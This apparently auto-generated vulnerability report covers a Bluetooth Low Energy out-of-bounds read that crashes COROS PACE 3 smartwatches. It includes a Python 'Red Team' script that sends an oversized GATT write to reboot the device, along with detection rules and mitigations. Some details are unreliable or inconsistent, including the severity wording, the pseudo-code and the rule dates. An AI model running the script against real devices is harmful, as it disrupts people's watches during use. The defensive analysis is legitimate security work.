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SOON CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-125
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48706

CVE-2025-48706 Out-of-Bounds Access in Coros
📅 PUBLISHED: 2025-06-20 00:00 UTC 🔄 UPDATED: 2026-08-21 19:37 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.45%
👁️
0.45% probability
11.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 3.0808.0
CVSS VECTOR BREAKDOWN 0.0
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48706 is a critical denial-of-service (DoS) vulnerability affecting the COROS PACE 3 smartwatch firmware up to version 3.0808.0. The flaw resides in the Bluetooth Low Energy (BLE) stack, where an out-of-bounds read occurs when processing a specially crafted BLE message. Successful exploitation forces the device to reboot, causing a temporary loss of functionality and potential data loss during the reboot cycle.

The vulnerability is triggered by an attacker within BLE radio range (approximately 10-30 meters). No authentication or user interaction is required beyond the device being in discoverable or connectable mode. The CVSS v3.1 score is 6.5 (Medium), with the vector AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, reflecting the high availability impact but no confidentiality or integrity compromise.

Key Risk: The attack can be repeated indefinitely, rendering the device unusable during active use (e.g., during a run or workout). Given the device's reliance on continuous operation for GPS tracking and health monitoring, this poses a significant safety and usability risk.

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Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary embedded system (COROS PACE 3). The attack vector is BLE, not a software dependency chain.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Adjacent Network (A) – The attacker must be within BLE range.
  • Attack Complexity (AC): Low (L) – No special conditions or timing required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The exploit does not affect other components.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): High (H) – Device becomes completely unresponsive and reboots.

Threat Level: Medium (6.5). While the impact is limited to availability, the ease of exploitation and lack of user interaction make it a practical attack for disrupting device operation.

Deep Dive & Mechanics

The COROS PACE 3 uses a BLE stack to communicate with the COROS app on a smartphone. The vulnerability is an out-of-bounds read in the BLE packet parsing routine. When the device receives a BLE message with a crafted length field that exceeds the allocated buffer size, the firmware reads beyond the buffer boundary. This causes a memory access violation, leading to a watchdog timer reset or a direct system crash, resulting in a reboot.

Technical Flow:

  1. The attacker sends a BLE advertisement or connection request with a malformed payload.
  2. The device's BLE handler attempts to parse the payload using a length value that is not properly validated.
  3. The firmware reads memory outside the intended buffer, causing an exception.
  4. The exception handler triggers a system reset, rebooting the device.

The vulnerability is present in all firmware versions up to and including 3.0808.0. The exact vulnerable function is in the BLE GATT (Generic Attribute Profile) service handler, likely in the ble_gattc_write_no_rsp or similar callback.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, based on the CWE-125 description, the vulnerable code likely resembles:

// Vulnerable pseudo-code
void ble_handle_write(uint8_t *data, uint16_t length) {
    uint8_t buffer[64];
    memcpy(buffer, data, length); // No bounds check on length
    // Process buffer...
}

A patched version would include a length check:

// Patched pseudo-code
void ble_handle_write(uint8_t *data, uint16_t length) {
    uint8_t buffer[64];
    if (length > sizeof(buffer)) {
        // Reject or truncate
        return;
    }
    memcpy(buffer, data, length);
    // Process buffer...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A BLE-capable device (e.g., Raspberry Pi 4 with Bluetooth adapter, or a smartphone with nRF Connect app).
  • COROS PACE 3 with firmware <= 3.0808.0 in discoverable mode.
  • Python 3 with bleak library installed.

Exploit Script (Python):

import asyncio
from bleak import BleakScanner, BleakClient

async def exploit():
    # Scan for COROS PACE 3
    devices = await BleakScanner.discover()
    target = None
    for d in devices:
        if "COROS PACE 3" in d.name:
            target = d
            break
    if not target:
        print("Device not found")
        return

    async with BleakClient(target.address) as client:
        # Craft malformed BLE write (out-of-bounds length)
        payload = b"A" * 255  # Exceeds typical buffer size
        # Write to a characteristic (e.g., 0x2A37 for heart rate)
        await client.write_gatt_char("00002a37-0000-1000-8000-00805f9b34fb", payload, response=False)
        print("Malformed packet sent. Device should reboot.")

asyncio.run(exploit())

Expected Outcome: The device reboots within seconds of receiving the malformed packet.

Blue Team (Detection & Defense)

Detection:

  • Monitor BLE traffic for unusually large write requests (payload > 64 bytes).
  • Use a BLE sniffer (e.g., Wireshark with BLE dongle) to capture anomalous packets.
  • Implement device-side logging of BLE errors (if available).

Defense:

  • Disable BLE when not in use (airplane mode).
  • Keep device firmware updated (once a patch is released).
  • Use a Faraday bag or BLE blocker when not actively syncing.

Indicators of Compromise (IOCs)

  • Network: BLE packets with write request payloads exceeding 64 bytes.
  • Device: Unexpected reboots without user interaction.
  • Logs: (If accessible) BLE stack error logs indicating out-of-bounds read exceptions.

Detection Engineering

YARA Rule

rule CVE_2025_48706_BLE_OOB_Read {
    meta:
        description = "Detects malformed BLE packets targeting COROS PACE 3"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48706"
    strings:
        $ble_header = { 02 01 06 03 03 AA FE }  // BLE advertisement header
        $large_payload = /.{65,}/  // Payload > 64 bytes
    condition:
        $ble_header and #large_payload > 0
}

Sigma Rule

title: COROS PACE 3 BLE Out-of-Bounds Read Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects BLE packets with excessive payload length targeting COROS PACE 3
author: Valters IT
date: 2025-04-10
logsource:
    category: bluetooth
    product: wireshark
detection:
    selection:
        btl2cap.length: > 64
    condition: selection
falsepositives:
    - Legitimate large firmware updates (rare)
level: high

Suricata Rule

alert bluetooth any any -> any any (msg:"CVE-2025-48706 COROS PACE 3 BLE OOB Read Exploit"; btl2cap.length:>64; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable BLE on the COROS PACE 3 when not actively syncing with the app.
  2. Monitor for unexpected reboots and report to COROS support.
  3. Use a BLE blocker (Faraday cage) to prevent unauthorized BLE communication.

Long-term Fix:

  • COROS must release a firmware update that validates BLE packet lengths before processing.
  • Users should apply the update as soon as it becomes available.

Workaround:

  • Keep the device in airplane mode during critical activities (e.g., races, long runs).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated from CVE-2025-48706 analysis

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coros pace 3
coros pace 3 ble

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